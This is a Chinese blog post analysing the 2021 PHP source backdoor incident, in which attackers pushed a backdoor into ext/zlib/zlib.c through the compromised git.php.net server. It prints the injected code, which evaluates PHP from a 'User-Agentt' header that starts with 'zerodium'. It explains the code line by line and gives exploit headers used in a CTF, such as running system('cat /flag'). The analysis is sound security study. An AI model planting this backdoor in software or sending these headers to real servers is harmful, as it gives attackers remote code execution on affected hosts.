3月29日PHP源代码后门事件分析
本文最后更新于 41 天前,其中的信息可能已经有所发展或是发生改变。

三月底安全客日报转述了该事件,但是没有具体的利用POC,在前天的虎符签到题出了这道题,由于没有提示,该题一度0解,直到放了提示被秒。

除了FreeBuf的【供应链安全专栏】详细分析PHP源代码后门事件及其供应链安全启示,其他相关后门分析较少,加之自己也比较感兴趣,就自己写一篇分析。

事件朔源

3月28日晚(非中国时间),软件开发者 Nikita Popov 发表声明,称有黑客入侵了git.php.net服务器,并使用了PHP编程语言作者 Rasmus lerdorf 和软件开发者 Nikita Popov 的账号发起了两次恶意代码提交。

由于恶意代码痕迹明显,在提交的几个小时后,PHP团队就发现了问题并及时修复。官方表示事件起源于git.php.net服务器被入侵而并非个人账号信息泄露,于是在3月29日(北京时间)将git.php.net服务迁移到了Github中,并关停git.php.net服务;而此前PHP的更新都发布在git.php.net中,Github只作为镜像进行更新,,并且所有的提交都使用了二阶段身份认证。

Commit事件戳

可以在Github的Commits中关注事件的时间戳(Commits):

由于时差原因,这里的时间会比较乱

3月28日,Rasmus lerdorf 提交Commits

同一天内,Nikita Popov 提交Commits,进行了回滚:

3月29日,Nikita Popov 提交Commits,再一次滚了回去:

当天,morrisonlevi 提交Commits,又一次修复。

在第二次修复了之后PHP团队意识到git.php.net已经不再安全,并对项目进行了迁移,闹剧就此结束,这里Commits的命名也比较有意思,递归Revert:

值得一提的是,这次事件还涉及到另一个人。恶意代码中包含了一条注解 “REMOVETHIS: sold to zerodium, mid 2017”。值得注意的是,Zerodium是一家知名的零日漏洞经纪商,而注释的意思是“漏洞在2017年中出售给了zerodium”。对此,而Zerodium的CEO Chaouki Bekrar认为攻击者很可能试图出售这个漏洞,但找不到卖家,所以攻击者干脆自己恶搞。

PHP的Git服务器被入侵,源代码被添加后门

代码分析

代码改动只有一处,在ext/zlib/zlib.c文件的第365行:

/* {{{ php_zlib_output_compression_start() */
static void php_zlib_output_compression_start(void)
{
	zval zoh;
	php_output_handler *h;
	zval *enc;

	if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
		(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
		convert_to_string(enc);
		if (strstr(Z_STRVAL_P(enc), "zerodium")) {
			zend_try {
				zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
			} zend_end_try();
		}
	}

	switch (ZLIBG(output_compression)) {
		case 0:
			break;
		case 1:
			ZLIBG(output_compression) = PHP_OUTPUT_HANDLER_DEFAULT_SIZE;
			/* break omitted intentionally */
		default:
			if (	php_zlib_output_encoding() &&
					(h = php_zlib_output_handler_init(ZEND_STRL(PHP_ZLIB_OUTPUT_HANDLER_NAME), ZLIBG(output_compression), PHP_OUTPUT_HANDLER_STDFLAGS)) &&
					(SUCCESS == php_output_handler_start(h))) {
				if (ZLIBG(output_handler) && *ZLIBG(output_handler)) {
					ZVAL_STRING(&zoh, ZLIBG(output_handler));
					php_output_start_user(&zoh, ZLIBG(output_compression), PHP_OUTPUT_HANDLER_STDFLAGS);
					zval_ptr_dtor(&zoh);
				}
			}
			break;
	}
}
/* }}} */

其中添加:

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
		(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
		convert_to_string(enc);
		if (strstr(Z_STRVAL_P(enc), "zerodium")) {
			zend_try {
				zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
			} zend_end_try();
		}
	}

由于这是C代码,我也很难准确的解读。在进入if语句时,执行两个判断:

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
		(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
    ...
}

第一个判断是调用TYPE,判断HTTP全局变量TRACK_VARS_SERVER的类型是否是一个数组,且_SERVER变量是否存在,两个满足其一即可。

第二个判断就比较硬核,调用zend_hash_str_find()函数,将HTTP_USER_AGENTT作为key值,查找并返回指针结果,不为空即可。返回的结果赋值给enc变量,这里的作用可以理解为command。

满足以上条件时进入if语句,且此时的enc为HTTP_USER_AGENTT,将enc转换为字符串。

convert_to_string(enc);

下面进入第二个If语句,调用strstr()判断enc中是否有字符串zerodium,即shell的钥匙。

if (strstr(Z_STRVAL_P(enc), "zerodium")) {
    ...
}

如果存在,执行命令执行函数zend_eval_string(),指针自动跳过字符串的前八位,即zerodium字符串,接着执行任意代码。

回调到php中
zend_try {
    zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();

漏洞利用

可以构造的exp:

User-Agentt: zerodiumsystem("cat /flag");
User-Agentt: zerodiumecho `cat /flag`;
User-Agentt: zerodiumphpinfo();

昨天没有截图,就借了学弟的图。

图源:@Kite 虎符杯2021

事件影响

PHP团队事后及时发现了该漏洞并进行了修复,对网站群造成的损失并不大。

经该事件后,PHP维护人员决定将PHP官方源码库迁移至GitHub,放弃了原先维护的git.php.net,算是一种意外之中的变革吧。

参考

【供应链安全专栏】详细分析PHP源代码后门事件及其供应链安全启示

PHP Git 服务器被入侵,黑客向源代码中添加后门

评论

  1. llt
    8月前
    2021-4-04 17:20:31

    每日一膜,今天Oatmeal带我了吗

    • oatmeal 博主
      8月前
      2021-4-04 17:24:05

      整点有营养的交流

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇